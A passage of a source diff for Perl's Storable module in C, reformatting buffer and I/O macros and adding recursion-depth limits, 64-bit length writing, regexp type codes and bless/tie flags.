  * Murray Nesbitt <murray at activestate.com> and integrated by RAM, who
  * only renamed things a little bit to ensure consistency with surrounding
@@ -287,6 +338,34 @@
 #define USE_PTR_TABLE
 #endif
 
+/* do we need/want to clear padding on NVs? */
+#if defined(LONG_DOUBLEKIND) && defined(USE_LONG_DOUBLE)
+#  if LONG_DOUBLEKIND == LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN || \
+      LONG_DOUBLEKIND == LONG_DOUBLE_IS_X86_80_BIT_BIG_ENDIAN
+#    define NV_PADDING (NVSIZE - 10)
+#  else
+#    define NV_PADDING 0
+#  endif
+#else
+/* This is kind of a guess - it means we'll get an unneeded clear on 128-bit NV
+   but an upgraded perl will fix that
+*/
+#  if NVSIZE > 8
+#    define NV_CLEAR
+#  endif
+#  define NV_PADDING 0
+#endif
+
+typedef union {
+    NV nv;
+    U8 bytes[sizeof(NV)];
+} NV_bytes;
+
+/* Needed for 32bit with lengths > 2G - 4G, and 64bit */
+#if PTRSIZE > 4
+#define HAS_U64
+#endif
+
 /*
  * Fields s_tainted and s_dirty are prefixed with s_ because Perl's include
  * files remap tainted and dirty when threading is enabled.  That's bad for
@@ -295,53 +374,67 @@
 
 struct stcxt;
 typedef struct stcxt {
-	int entry;			/* flags recursion */
-	int optype;			/* type of traversal operation */
-	/* which objects have been seen, store time.
-	   tags are numbers, which are cast to (SV *) and stored directly */
+    int entry;		/* flags recursion */
+    int optype;		/* type of traversal operation */
+    /* which objects have been seen, store time.
+       tags are numbers, which are cast to (SV *) and stored directly */
 #ifdef USE_PTR_TABLE
-	/* use pseen if we have ptr_tables. We have to store tag+1, because
-	   tag numbers start at 0, and we can't store (SV *) 0 in a ptr_table
-	   without it being confused for a fetch lookup failure.  */
-	struct ptr_tbl *pseen;
-	/* Still need hseen for the 0.6 file format code. */
+    /* use pseen if we have ptr_tables. We have to store tag+1, because
+       tag numbers start at 0, and we can't store (SV *) 0 in a ptr_table
+       without it being confused for a fetch lookup failure.  */
+    struct ptr_tbl *pseen;
+    /* Still need hseen for the 0.6 file format code. */
 #endif
-	HV *hseen;			
-	AV *hook_seen;		/* which SVs were returned by STORABLE_freeze() */
-	AV *aseen;			/* which objects have been seen, retrieve time */
-	IV where_is_undef;		/* index in aseen of PL_sv_undef */
-	HV *hclass;			/* which classnames have been seen, store time */
-	AV *aclass;			/* which classnames have been seen, retrieve time */
-	HV *hook;			/* cache for hook methods per class name */
-	IV tagnum;			/* incremented at store time for each seen object */
-	IV classnum;		/* incremented at store time for each seen classname */
-	int netorder;		/* true if network order used */
-	int s_tainted;		/* true if input source is tainted, at retrieve time */
-	int forgive_me;		/* whether to be forgiving... */
-	int deparse;        /* whether to deparse code refs */
-	SV *eval;           /* whether to eval source code */
-	int canonical;		/* whether to store hashes sorted by key */
+    HV *hseen;
+    AV *hook_seen;		/* which SVs were returned by STORABLE_freeze() */
+    AV *aseen;			/* which objects have been seen, retrieve time */
+    ntag_t where_is_undef;		/* index in aseen of PL_sv_undef */
+    HV *hclass;			/* which classnames have been seen, store time */
+    AV *aclass;			/* which classnames have been seen, retrieve time */
+    HV *hook;			/* cache for hook methods per class name */
+    IV tagnum;			/* incremented at store time for each seen object */
+    IV classnum;		/* incremented at store time for each seen classname */
+    int netorder;		/* true if network order used */
+    int s_tainted;		/* true if input source is tainted, at retrieve time */
+    int forgive_me;		/* whether to be forgiving... */
+    int deparse;		/* whether to deparse code refs */
+    SV *eval;			/* whether to eval source code */
+    int canonical;		/* whether to store hashes sorted by key */
 #ifndef HAS_RESTRICTED_HASHES
-        int derestrict;         /* whether to downgrade restricted hashes */
+    int derestrict;		/* whether to downgrade restricted hashes */
 #endif
 #ifndef HAS_UTF8_ALL
-        int use_bytes;         /* whether to bytes-ify utf8 */
+    int use_bytes;		/* whether to bytes-ify utf8 */
 #endif
-        int accept_future_minor; /* croak immediately on future minor versions?  */
-	int s_dirty;		/* context is dirty due to CROAK() -- can be cleaned */
-	int membuf_ro;		/* true means membuf is read-only and msaved is rw */
-	struct extendable keybuf;	/* for hash key retrieval */
-	struct extendable membuf;	/* for memory store/retrieve operations */
-	struct extendable msaved;	/* where potentially valid mbuf is saved */
-	PerlIO *fio;		/* where I/O are performed, NULL for memory */
-	int ver_major;		/* major of version for retrieved object */
-	int ver_minor;		/* minor of version for retrieved object */
-	SV *(**retrieve_vtbl)(pTHX_ struct stcxt *, const char *);	/* retrieve dispatch table */
-	SV *prev;		/* contexts chained backwards in real recursion */
-	SV *my_sv;		/* the blessed scalar who's SvPVX() I am */
-	int in_retrieve_overloaded; /* performance hack for retrieving overloaded objects */
+    int accept_future_minor;	/* croak immediately on future minor versions?  */
+    int s_dirty;		/* context is dirty due to CROAK() -- can be cleaned */
+    int membuf_ro;		/* true means membuf is read-only and msaved is rw */
+    struct extendable keybuf;	/* for hash key retrieval */
+    struct extendable membuf;	/* for memory store/retrieve operations */
+    struct extendable msaved;	/* where potentially valid mbuf is saved */
+    PerlIO *fio;		/* where I/O are performed, NULL for memory */
+    int ver_major;		/* major of version for retrieved object */
+    int ver_minor;		/* minor of version for retrieved object */
+    SV *(**retrieve_vtbl)(pTHX_ struct stcxt *, const char *);	/* retrieve dispatch table */
+    SV *prev;			/* contexts chained backwards in real recursion */
+    SV *my_sv;			/* the blessed scalar who's SvPVX() I am */
+    SV *recur_sv;               /* check only one recursive SV */
+    int in_retrieve_overloaded; /* performance hack for retrieving overloaded objects */
+    int flags;			/* controls whether to bless or tie objects */
+    IV recur_depth;        	/* avoid stack overflows RT #97526 */
+    IV max_recur_depth;        /* limit for recur_depth */
+    IV max_recur_depth_hash;   /* limit for recur_depth for hashes */
+#ifdef DEBUGME
+    int traceme;                /* TRACEME() produces output */
+#endif
 } stcxt_t;
 
+#define RECURSION_TOO_DEEP() \
+    (cxt->max_recur_depth != -1 && ++cxt->recur_depth > cxt->max_recur_depth)
+#define RECURSION_TOO_DEEP_HASH() \
+    (cxt->max_recur_depth_hash != -1 && ++cxt->recur_depth > cxt->max_recur_depth_hash)
+#define MAX_DEPTH_ERROR "Max. recursion depth with nested structures exceeded"
+
 static int storable_free(pTHX_ SV *sv, MAGIC* mg);
 
 static MGVTBL vtbl_storable = {
@@ -363,15 +456,16 @@
 
 /* From Digest::MD5.  */
 #ifndef sv_magicext
-# define sv_magicext(sv, obj, type, vtbl, name, namlen) \
+# define sv_magicext(sv, obj, type, vtbl, name, namlen)         \
     THX_sv_magicext(aTHX_ sv, obj, type, vtbl, name, namlen)
-static MAGIC *THX_sv_magicext(pTHX_ SV *sv, SV *obj, int type,
-    MGVTBL const *vtbl, char const *name, I32 namlen)
+static MAGIC *THX_sv_magicext(pTHX_
+	SV *sv, SV *obj, int type,
+	MGVTBL const *vtbl, char const *name, I32 namlen)
 {
     MAGIC *mg;
     if (obj || namlen)
-	/* exceeded intended usage of this reserve implementation */
-	return NULL;
+        /* exceeded intended usage of this reserve implementation */
+        return NULL;
     Newxz(mg, 1, MAGIC);
     mg->mg_virtual = (MGVTBL*)vtbl;
     mg->mg_type = type;
@@ -386,45 +480,46 @@
 }
 #endif
 
-#define NEW_STORABLE_CXT_OBJ(cxt)					\
-  STMT_START {										\
-	SV *self = newSV(sizeof(stcxt_t) - 1);			\
-	SV *my_sv = newRV_noinc(self);					\
-	sv_magicext(self, NULL, PERL_MAGIC_ext, &vtbl_storable, NULL, 0); \
-	cxt = (stcxt_t *)SvPVX(self);					\
-	Zero(cxt, 1, stcxt_t);							\
-	cxt->my_sv = my_sv;								\
-  } STMT_END
+#define NEW_STORABLE_CXT_OBJ(cxt)				\
+    STMT_START {						\
+        SV *self = newSV(sizeof(stcxt_t) - 1);                  \
+        SV *my_sv = newRV_noinc(self);                          \
+        sv_magicext(self, NULL, PERL_MAGIC_ext, &vtbl_storable, NULL, 0); \
+        cxt = (stcxt_t *)SvPVX(self);                           \
+        Zero(cxt, 1, stcxt_t);                                  \
+        cxt->my_sv = my_sv;                                     \
+    } STMT_END
 
 #if defined(MULTIPLICITY) || defined(PERL_OBJECT) || defined(PERL_CAPI)
 
 #if (PATCHLEVEL <= 4) && (SUBVERSION < 68)
-#define dSTCXT_SV 									\
-	SV *perinterp_sv = perl_get_sv(MY_VERSION, 0)
+#define dSTCXT_SV                                               \
+    SV *perinterp_sv = get_sv(MY_VERSION, 0)
 #else	/* >= perl5.004_68 */
-#define dSTCXT_SV									\
-	SV *perinterp_sv = *hv_fetch(PL_modglobal,		\
-		MY_VERSION, sizeof(MY_VERSION)-1, TRUE)
+#define dSTCXT_SV						\
+    SV *perinterp_sv = *hv_fetch(PL_modglobal,                  \
+				 MY_VERSION, sizeof(MY_VERSION)-1, TRUE)
 #endif	/* < perl5.004_68 */
 
-#define dSTCXT_PTR(T,name)							\
-	T name = ((perinterp_sv && SvIOK(perinterp_sv) && SvIVX(perinterp_sv)	\
-				? (T)SvPVX(SvRV(INT2PTR(SV*,SvIVX(perinterp_sv)))) : (T) 0))
-#define dSTCXT										\
-	dSTCXT_SV;										\
-	dSTCXT_PTR(stcxt_t *, cxt)
+#define dSTCXT_PTR(T,name)					\
+    T name = ((perinterp_sv                                     \
+               && SvIOK(perinterp_sv) && SvIVX(perinterp_sv)    \
+               ? (T)SvPVX(SvRV(INT2PTR(SV*,SvIVX(perinterp_sv)))) : (T) 0))
+#define dSTCXT					\
+    dSTCXT_SV;                                  \
+    dSTCXT_PTR(stcxt_t *, cxt)
 
-#define INIT_STCXT							\
-	dSTCXT;									\
-	NEW_STORABLE_CXT_OBJ(cxt);				\
-	assert(perinterp_sv);					\
-	sv_setiv(perinterp_sv, PTR2IV(cxt->my_sv))
+#define INIT_STCXT					\
+    dSTCXT;                                             \
+    NEW_STORABLE_CXT_OBJ(cxt);                          \
+    assert(perinterp_sv);				\
+    sv_setiv(perinterp_sv, PTR2IV(cxt->my_sv))
 
-#define SET_STCXT(x)								\
-  STMT_START {										\
-	dSTCXT_SV;										\
-	sv_setiv(perinterp_sv, PTR2IV(x->my_sv));		\
-  } STMT_END
+#define SET_STCXT(x)					\
+    STMT_START {					\
+        dSTCXT_SV;                                      \
+        sv_setiv(perinterp_sv, PTR2IV(x->my_sv));       \
+    } STMT_END
 
 #else /* !MULTIPLICITY && !PERL_OBJECT && !PERL_CAPI */
 
@@ -431,10 +526,10 @@
 static stcxt_t *Context_ptr = NULL;
 #define dSTCXT			stcxt_t *cxt = Context_ptr
 #define SET_STCXT(x)		Context_ptr = x
-#define INIT_STCXT						\
-	dSTCXT;								\
-	NEW_STORABLE_CXT_OBJ(cxt);			\
-	SET_STCXT(cxt)
+#define INIT_STCXT				\
+    dSTCXT;                                     \
+    NEW_STORABLE_CXT_OBJ(cxt);                  \
+    SET_STCXT(cxt)
 
 
 #endif /* MULTIPLICITY || PERL_OBJECT || PERL_CAPI */
@@ -472,10 +567,20 @@
 #if PTRSIZE <= 4
 #define LOW_32BITS(x)	((I32) (x))
 #else
-#define LOW_32BITS(x)	((I32) ((unsigned long) (x) & 0xffffffffUL))
+#define LOW_32BITS(x)	((I32) ((STRLEN) (x) & 0xffffffffUL))
 #endif
 
 /*
+ * PTR2TAG(x)
+ *
+ * Convert a pointer into an ntag_t.
+ */
+
+#define PTR2TAG(x) ((ntag_t)(x))
+
+#define TAG2PTR(x, type) ((y)(x))
+
+/*
  * oI, oS, oC
  *
  * Hack for Crays, where sizeof(I32) == 8, and which are big-endians.
@@ -485,11 +590,13 @@
 #if INTSIZE > 4
 #define oI(x)	((I32 *) ((char *) (x) + 4))
 #define oS(x)	((x) - 4)
+#define oL(x)	(x)
 #define oC(x)	(x = 0)
 #define CRAY_HACK
 #else
 #define oI(x)	(x)
 #define oS(x)	(x)
+#define oL(x)	(x)
 #define oC(x)
 #endif
 
@@ -498,22 +605,25 @@
  */
 #define kbuf	(cxt->keybuf).arena
 #define ksiz	(cxt->keybuf).asiz
-#define KBUFINIT()						\
-  STMT_START {							\
-	if (!kbuf) {						\
-		TRACEME(("** allocating kbuf of 128 bytes")); \
-		New(10003, kbuf, 128, char);	\
-		ksiz = 128;						\
-	}									\
-  } STMT_END
-#define KBUFCHK(x)				\
-  STMT_START {					\
-	if (x >= ksiz) {			\
-		TRACEME(("** extending kbuf to %d bytes (had %d)", x+1, ksiz)); \
-		Renew(kbuf, x+1, char);	\
-		ksiz = x+1;				\
-	}							\
-  } STMT_END
+#define KBUFINIT()							\
+    STMT_START {							\
+        if (!kbuf) {                                                    \
+            TRACEME(("** allocating kbuf of 128 bytes"));               \
+            New(10003, kbuf, 128, char);                                \
+            ksiz = 128;                                                 \
+        }                                                               \
+    } STMT_END
+#define KBUFCHK(x)							\
+    STMT_START {							\
+        if (x >= ksiz) {                                                \
+            if (x >= I32_MAX)                                           \
+                CROAK(("Too large size > I32_MAX"));                    \
+            TRACEME(("** extending kbuf to %d bytes (had %d)",          \
+                     (int)(x+1), (int)ksiz));                           \
+            Renew(kbuf, x+1, char);                                     \
+            ksiz = x+1;                                                 \
+        }                                                               \
+    } STMT_END
 
 /*
  * memory buffer handling
@@ -527,28 +637,28 @@
 #define MMASK	(MGROW - 1)
 
 #define round_mgrow(x)	\
-	((unsigned long) (((unsigned long) (x) + MMASK) & ~MMASK))
+    ((STRLEN) (((STRLEN) (x) + MMASK) & ~MMASK))
 #define trunc_int(x)	\
-	((unsigned long) ((unsigned long) (x) & ~(sizeof(int)-1)))
+    ((STRLEN) ((STRLEN) (x) & ~(sizeof(int)-1)))
 #define int_aligned(x)	\
-	((unsigned long) (x) == trunc_int(x))
+    ((STRLEN)(x) == trunc_int(x))
 
-#define MBUF_INIT(x)					\
-  STMT_START {							\
-	if (!mbase) {						\
-		TRACEME(("** allocating mbase of %d bytes", MGROW)); \
-		New(10003, mbase, MGROW, char);	\
-		msiz = (STRLEN)MGROW;					\
-	}									\
-	mptr = mbase;						\
-	if (x)								\
-		mend = mbase + x;				\
-	else								\
-		mend = mbase + msiz;			\
-  } STMT_END
+#define MBUF_INIT(x)							\
+    STMT_START {							\
+        if (!mbase) {                                                   \
+            TRACEME(("** allocating mbase of %d bytes", MGROW));        \
+            New(10003, mbase, (int)MGROW, char);                        \
+            msiz = (STRLEN)MGROW;                                       \
+        }                                                               \
+        mptr = mbase;                                                   \
+        if (x)                                                          \
+            mend = mbase + x;                                           \
+        else                                                            \
+            mend = mbase + msiz;                                        \
+    } STMT_END
 
 #define MBUF_TRUNC(x)	mptr = mbase + x
-#define MBUF_SIZE()		(mptr - mbase)
+#define MBUF_SIZE()	(mptr - mbase)
 
 /*
  * MBUF_SAVE_AND_LOAD
@@ -558,153 +668,159 @@
  * buffer into cxt->msaved, before MBUF_LOAD() can be used to retrieve
  * data from a string.
  */
-#define MBUF_SAVE_AND_LOAD(in)			\
-  STMT_START {							\
-	ASSERT(!cxt->membuf_ro, ("mbase not already saved")); \
-	cxt->membuf_ro = 1;					\
-	TRACEME(("saving mbuf"));			\
-	StructCopy(&cxt->membuf, &cxt->msaved, struct extendable); \
-	MBUF_LOAD(in);						\
-  } STMT_END
+#define MBUF_SAVE_AND_LOAD(in)						\
+    STMT_START {							\
+        ASSERT(!cxt->membuf_ro, ("mbase not already saved"));           \
+        cxt->membuf_ro = 1;                                             \
+        TRACEME(("saving mbuf"));                                       \
+        StructCopy(&cxt->membuf, &cxt->msaved, struct extendable);      \
+        MBUF_LOAD(in);                                                  \
+    } STMT_END
 
-#define MBUF_RESTORE() 					\
-  STMT_START {							\
-	ASSERT(cxt->membuf_ro, ("mbase is read-only")); \
-	cxt->membuf_ro = 0;					\
-	TRACEME(("restoring mbuf"));		\
-	StructCopy(&cxt->msaved, &cxt->membuf, struct extendable); \
-  } STMT_END
+#define MBUF_RESTORE()							\
+    STMT_START {							\
+        ASSERT(cxt->membuf_ro, ("mbase is read-only"));                 \
+        cxt->membuf_ro = 0;                                             \
+        TRACEME(("restoring mbuf"));                                    \
+        StructCopy(&cxt->msaved, &cxt->membuf, struct extendable);      \
+    } STMT_END
 
 /*
  * Use SvPOKp(), because SvPOK() fails on tainted scalars.
  * See store_scalar() for other usage of this workaround.
  */
-#define MBUF_LOAD(v) 					\
-  STMT_START {							\
-	ASSERT(cxt->membuf_ro, ("mbase is read-only")); \
-	if (!SvPOKp(v))						\
-		CROAK(("Not a scalar string"));	\
-	mptr = mbase = SvPV(v, msiz);		\
-	mend = mbase + msiz;				\
-  } STMT_END
+#define MBUF_LOAD(v)						\
+    STMT_START {						\
+        ASSERT(cxt->membuf_ro, ("mbase is read-only"));         \
+        if (!SvPOKp(v))                                         \
+            CROAK(("Not a scalar string"));                     \
+        mptr = mbase = SvPV(v, msiz);                           \
+        mend = mbase + msiz;                                    \
+    } STMT_END
 
-#define MBUF_XTEND(x) 				\
-  STMT_START {						\
-	int nsz = (int) round_mgrow((x)+msiz);	\
-	int offset = mptr - mbase;		\
-	ASSERT(!cxt->membuf_ro, ("mbase is not read-only")); \
-	TRACEME(("** extending mbase from %d to %d bytes (wants %d new)", \
-		msiz, nsz, (x)));			\
-	Renew(mbase, nsz, char);		\
-	msiz = nsz;						\
-	mptr = mbase + offset;			\
-	mend = mbase + nsz;				\
-  } STMT_END
+#define MBUF_XTEND(x)						\
+    STMT_START {						\
+        STRLEN nsz = (STRLEN) round_mgrow((x)+msiz);            \
+        STRLEN offset = mptr - mbase;                           \
+        ASSERT(!cxt->membuf_ro, ("mbase is not read-only"));    \
+        TRACEME(("** extending mbase from %ld to %ld bytes (wants %ld new)", \
+                 (long)msiz, nsz, (long)(x)));                  \
+        Renew(mbase, nsz, char);                                \
+        msiz = nsz;                                             \
+        mptr = mbase + offset;                                  \
+        mend = mbase + nsz;                                     \
+    } STMT_END
 
-#define MBUF_CHK(x) 				\
-  STMT_START {						\
-	if ((mptr + (x)) > mend)		\
-		MBUF_XTEND(x);				\
-  } STMT_END
+#define MBUF_CHK(x)				\
+    STMT_START {				\
+        if ((mptr + (x)) > mend)                \
+            MBUF_XTEND(x);                      \
+    } STMT_END
 
-#define MBUF_GETC(x) 				\
-  STMT_START {						\
-	if (mptr < mend)				\
-		x = (int) (unsigned char) *mptr++;	\
-	else							\
-		return (SV *) 0;			\
-  } STMT_END
+#define MBUF_GETC(x)				\
+    STMT_START {				\
+        if (mptr < mend)                        \
+            x = (int) (unsigned char) *mptr++;  \
+        else                                    \
+            return (SV *) 0;                    \
+    } STMT_END
 
 #ifdef CRAY_HACK
-#define MBUF_GETINT(x) 					\
-  STMT_START {							\
-	oC(x);								\
-	if ((mptr + 4) <= mend) {			\
-		memcpy(oI(&x), mptr, 4);		\
-		mptr += 4;						\
-	} else								\
-		return (SV *) 0;				\
-  } STMT_END
+#define MBUF_GETINT(x)				\
+    STMT_START {				\
+        oC(x);                                  \
+        if ((mptr + 4) <= mend) {               \
+            memcpy(oI(&x), mptr, 4);            \
+            mptr += 4;                          \
+        } else                                  \
+            return (SV *) 0;                    \
+    } STMT_END
 #else
-#define MBUF_GETINT(x) 					\
-  STMT_START {							\
-	if ((mptr + sizeof(int)) <= mend) {	\
-		if (int_aligned(mptr))			\
-			x = *(int *) mptr;			\
-		else							\
-			memcpy(&x, mptr, sizeof(int));	\
-		mptr += sizeof(int);			\
-	} else								\
-		return (SV *) 0;				\
-  } STMT_END
+#define MBUF_GETINT(x)				\
+    STMT_START {				\
+        if ((mptr + sizeof(int)) <= mend) {     \
+            if (int_aligned(mptr))              \
+                x = *(int *) mptr;              \
+            else                                \
+                memcpy(&x, mptr, sizeof(int));  \
+            mptr += sizeof(int);                \
+        } else                                  \
+            return (SV *) 0;                    \
+    } STMT_END
 #endif
 
-#define MBUF_READ(x,s) 				\
-  STMT_START {						\
-	if ((mptr + (s)) <= mend) {		\
-		memcpy(x, mptr, s);			\
-		mptr += s;					\
-	} else							\
-		return (SV *) 0;			\
-  } STMT_END
+#define MBUF_READ(x,s)				\
+    STMT_START {				\
+        if ((mptr + (s)) <= mend) {             \
+            memcpy(x, mptr, s);                 \
+            mptr += s;                          \
+        } else                                  \
+            return (SV *) 0;                    \
+    } STMT_END
 
-#define MBUF_SAFEREAD(x,s,z) 		\
-  STMT_START {						\
-	if ((mptr + (s)) <= mend) {		\
-		memcpy(x, mptr, s);			\
-		mptr += s;					\
-	} else {						\
-		sv_free(z);					\
-		return (SV *) 0;			\
-	}								\
-  } STMT_END
+#define MBUF_SAFEREAD(x,s,z)			\
+    STMT_START {				\
+        if ((mptr + (s)) <= mend) {             \
+            memcpy(x, mptr, s);                 \
+            mptr += s;                          \
+        } else {                                \
+            sv_free(z);                         \
+            return (SV *) 0;                    \
+        }                                       \
+    } STMT_END
 
 #define MBUF_SAFEPVREAD(x,s,z)			\
-  STMT_START {					\
-	if ((mptr + (s)) <= mend) {		\
-		memcpy(x, mptr, s);		\
-		mptr += s;			\
-	} else {				\
-		Safefree(z);			\
-		return (SV *) 0;		\
-	}					\
-  } STMT_END
+    STMT_START {				\
+        if ((mptr + (s)) <= mend) {             \
+            memcpy(x, mptr, s);                 \
+            mptr += s;                          \
+        } else {                                \
+            Safefree(z);                        \
+            return (SV *) 0;                    \
+        }                                       \
+    } STMT_END
 
-#define MBUF_PUTC(c) 				\
-  STMT_START {						\
-	if (mptr < mend)				\
-		*mptr++ = (char) c;			\
-	else {							\
-		MBUF_XTEND(1);				\
-		*mptr++ = (char) c;			\
-	}								\
-  } STMT_END
+#define MBUF_PUTC(c)				\
+    STMT_START {				\
+        if (mptr < mend)                        \
+            *mptr++ = (char) c;                 \
+        else {                                  \
+            MBUF_XTEND(1);                      \
+            *mptr++ = (char) c;                 \
+        }                                       \
+    } STMT_END
 
 #ifdef CRAY_HACK
-#define MBUF_PUTINT(i) 				\
-  STMT_START {						\
-	MBUF_CHK(4);					\
-	memcpy(mptr, oI(&i), 4);		\
-	mptr += 4;						\
-  } STMT_END
+#define MBUF_PUTINT(i)				\
+    STMT_START {				\
+        MBUF_CHK(4);                            \
+        memcpy(mptr, oI(&i), 4);                \
+        mptr += 4;                              \
+    } STMT_END
 #else
 #define MBUF_PUTINT(i) 				\
-  STMT_START {						\
-	MBUF_CHK(sizeof(int));			\
-	if (int_aligned(mptr))			\
-		*(int *) mptr = i;			\
-	else							\
-		memcpy(mptr, &i, sizeof(int));	\
-	mptr += sizeof(int);			\
-  } STMT_END
+    STMT_START {				\
+        MBUF_CHK(sizeof(int));                  \
+        if (int_aligned(mptr))                  \
+            *(int *) mptr = i;                  \
+        else                                    \
+            memcpy(mptr, &i, sizeof(int));      \
+        mptr += sizeof(int);                    \
+    } STMT_END
 #endif
 
-#define MBUF_WRITE(x,s) 			\
-  STMT_START {						\
-	MBUF_CHK(s);					\
-	memcpy(mptr, x, s);				\
-	mptr += s;						\
-  } STMT_END
+#define MBUF_PUTLONG(l)				\
+    STMT_START {				\
+        MBUF_CHK(8);                            \
+        memcpy(mptr, &l, 8);                    \
+        mptr += 8;                              \
+    } STMT_END
+#define MBUF_WRITE(x,s)				\
+    STMT_START {				\
+        MBUF_CHK(s);                            \
+        memcpy(mptr, x, s);                     \
+        mptr += s;                              \
+    } STMT_END
 
 /*
  * Possible return values for sv_type().
@@ -715,9 +831,10 @@
 #define svis_ARRAY		2
 #define svis_HASH		3
 #define svis_TIED		4
-#define svis_TIED_ITEM	5
+#define svis_TIED_ITEM		5
 #define svis_CODE		6
-#define svis_OTHER		7
+#define svis_REGEXP		7
+#define svis_OTHER		8
 
 /*
  * Flags for SX_HOOK.
@@ -735,18 +852,18 @@
  * Types for SX_HOOK (last 2 bits in flags).
  */
 
-#define SHT_SCALAR			0
-#define SHT_ARRAY			1
-#define SHT_HASH			2
-#define SHT_EXTRA			3		/* Read extra byte for type */
+#define SHT_SCALAR		0
+#define SHT_ARRAY		1
+#define SHT_HASH		2
+#define SHT_EXTRA		3	/* Read extra byte for type */
 
 /*
  * The following are held in the "extra byte"...
  */
 
-#define SHT_TSCALAR			4		/* 4 + 0 -- tied scalar */
-#define SHT_TARRAY			5		/* 4 + 1 -- tied array */
-#define SHT_THASH			6		/* 4 + 2 -- tied hash */
+#define SHT_TSCALAR		4	/* 4 + 0 -- tied scalar */
+#define SHT_TARRAY		5	/* 4 + 1 -- tied array */
+#define SHT_THASH		6	/* 4 + 2 -- tied hash */
 
 /*
  * per hash flags for flagged hashes
@@ -765,6 +882,18 @@
 #define SHV_K_PLACEHOLDER	0x10
 
 /*
+ * flags to allow blessing and/or tieing data the data we load
+ */
+#define FLAG_BLESS_OK 2
+#define FLAG_TIE_OK   4
+
+/*
+ * Flags for SX_REGEXP.
+ */
+
+#define SHR_U32_RE_LEN		0x01
+
+/*
  * Before 0.6, the magic string was "perl-store" (binary version number 0).
  *
  * Since 0.6 introduced many binary incompatibilities, the magic string has
@@ -839,6 +968,13 @@
 #endif
 #endif
 
+#ifndef INT32_MAX
+# define INT32_MAX 2147483647
+#endif
+#if IVSIZE > 4 && !defined(INT64_MAX)
+# define INT64_MAX 9223372036854775807LL
+#endif
+
 static const char byteorderstr[] = {BYTEORDER_BYTES, 0};
 #ifdef USE_56_INTERWORK_KLUDGE
 static const char byteorderstr_56[] = {BYTEORDER_BYTES_56, 0};
@@ -845,7 +981,7 @@
 #endif
 
 #define STORABLE_BIN_MAJOR	2		/* Binary major "version" */
-#define STORABLE_BIN_MINOR	10		/* Binary minor "version" */
+#define STORABLE_BIN_MINOR	11		/* Binary minor "version" */
 
 #if (PATCHLEVEL <= 5)
 #define STORABLE_BIN_WRITE_MINOR	4
@@ -856,7 +992,8 @@
 #define STORABLE_BIN_WRITE_MINOR	8
 #elif PATCHLEVEL >= 19
 /* Perl 5.19 takes away the special meaning of PL_sv_undef in arrays. */
-#define STORABLE_BIN_WRITE_MINOR	10
+/* With 3.x we added LOBJECT */
+#define STORABLE_BIN_WRITE_MINOR	11
 #else
 #define STORABLE_BIN_WRITE_MINOR	9
 #endif /* (PATCHLEVEL <= 5) */
@@ -876,66 +1013,120 @@
  * tagnum with cxt->tagnum++ along with this macro!
  *     - samv 20Jan04
  */
-#define PUTMARK(x) 							\
-  STMT_START {								\
-	if (!cxt->fio)							\
-		MBUF_PUTC(x);						\
-	else if (PerlIO_putc(cxt->fio, x) == EOF)	\
-		return -1;							\
-  } STMT_END
+#define PUTMARK(x) 					\
+    STMT_START {					\
+        if (!cxt->fio)                                  \
+            MBUF_PUTC(x);                               \
+        else if (PerlIO_putc(cxt->fio, x) == EOF)       \
+            return -1;                                  \
+    } STMT_END
 
-#define WRITE_I32(x)					\
-  STMT_START {							\
-	ASSERT(sizeof(x) == sizeof(I32), ("writing an I32"));	\
-	if (!cxt->fio)						\
-		MBUF_PUTINT(x);					\
-	else if (PerlIO_write(cxt->fio, oI(&x), oS(sizeof(x))) != oS(sizeof(x))) \
-		return -1;					\
-  } STMT_END
+#define WRITE_I32(x)						\
+    STMT_START {						\
+        ASSERT(sizeof(x) == sizeof(I32), ("writing an I32"));   \
+        if (!cxt->fio)                                          \
+            MBUF_PUTINT(x);                                     \
+        else if (PerlIO_write(cxt->fio, oI(&x),                 \
+                              oS(sizeof(x))) != oS(sizeof(x)))  \
+            return -1;                                          \
+    } STMT_END
 
+#define WRITE_U64(x)							\
+    STMT_START {							\
+        ASSERT(sizeof(x) == sizeof(UV), ("writing an UV"));		\
+        if (!cxt->fio)                                                  \
+            MBUF_PUTLONG(x);                                            \
+        else if (PerlIO_write(cxt->fio, oL(&x),                         \
+                              oS(sizeof(x))) != oS(sizeof(x)))          \
+            return -1;                                                  \
+    } STMT_END
+
 #ifdef HAS_HTONL
-#define WLEN(x)						\
-  STMT_START {						\
-	ASSERT(sizeof(x) == sizeof(int), ("WLEN writing an int"));	\
-	if (cxt->netorder) {			\
-		int y = (int) htonl(x);		\
-		if (!cxt->fio)				\
-			MBUF_PUTINT(y);			\
-		else if (PerlIO_write(cxt->fio,oI(&y),oS(sizeof(y))) != oS(sizeof(y))) \
-			return -1;				\
-	} else {						\
-		if (!cxt->fio)				\
-			MBUF_PUTINT(x);			\
-		else if (PerlIO_write(cxt->fio,oI(&x),oS(sizeof(x))) != oS(sizeof(x))) \
-			return -1;				\
-	}								\
-  } STMT_END
+#define WLEN(x)                                                         \
+    STMT_START {							\
+        ASSERT(sizeof(x) == sizeof(int), ("WLEN writing an int"));      \
+        if (cxt->netorder) {                                            \
+            int y = (int) htonl(x);                                     \
+            if (!cxt->fio)                                              \
+                MBUF_PUTINT(y);                                         \
+            else if (PerlIO_write(cxt->fio,oI(&y),oS(sizeof(y))) != oS(sizeof(y))) \
+                return -1;                                              \
+        } else {                                                        \
+            if (!cxt->fio)                                              \
+                MBUF_PUTINT(x);                                         \
+            else if (PerlIO_write(cxt->fio,oI(&x),                      \
+                                  oS(sizeof(x))) != oS(sizeof(x)))      \
+                return -1;                                              \
+        }                                                               \
+    } STMT_END
+
+#  ifdef HAS_U64
+
+#define W64LEN(x)							\
+    STMT_START {							\
+        ASSERT(sizeof(x) == 8, ("W64LEN writing a U64"));               \
+        if (cxt->netorder) {                                            \
+            U32 buf[2];      						\
+            buf[1] = htonl(x & 0xffffffffUL);                           \
+            buf[0] = htonl(x >> 32);                                    \
+            if (!cxt->fio)                                              \
+                MBUF_PUTLONG(buf);                                      \
+            else if (PerlIO_write(cxt->fio, buf,                        \
+                                  sizeof(buf)) != sizeof(buf))          \
+                return -1;                                              \
+        } else {                                                        \
+            if (!cxt->fio)                                              \
+                MBUF_PUTLONG(x);                                        \
+            else if (PerlIO_write(cxt->fio,oI(&x),                      \
+                                  oS(sizeof(x))) != oS(sizeof(x)))      \
+                return -1;                                              \
+        }                                                               \
+    } STMT_END
+
+#  else
+
+#define W64LEN(x) CROAK(("No 64bit UVs"))
+
+#  endif
+
 #else
 #define WLEN(x)	WRITE_I32(x)
+#ifdef HAS_U64
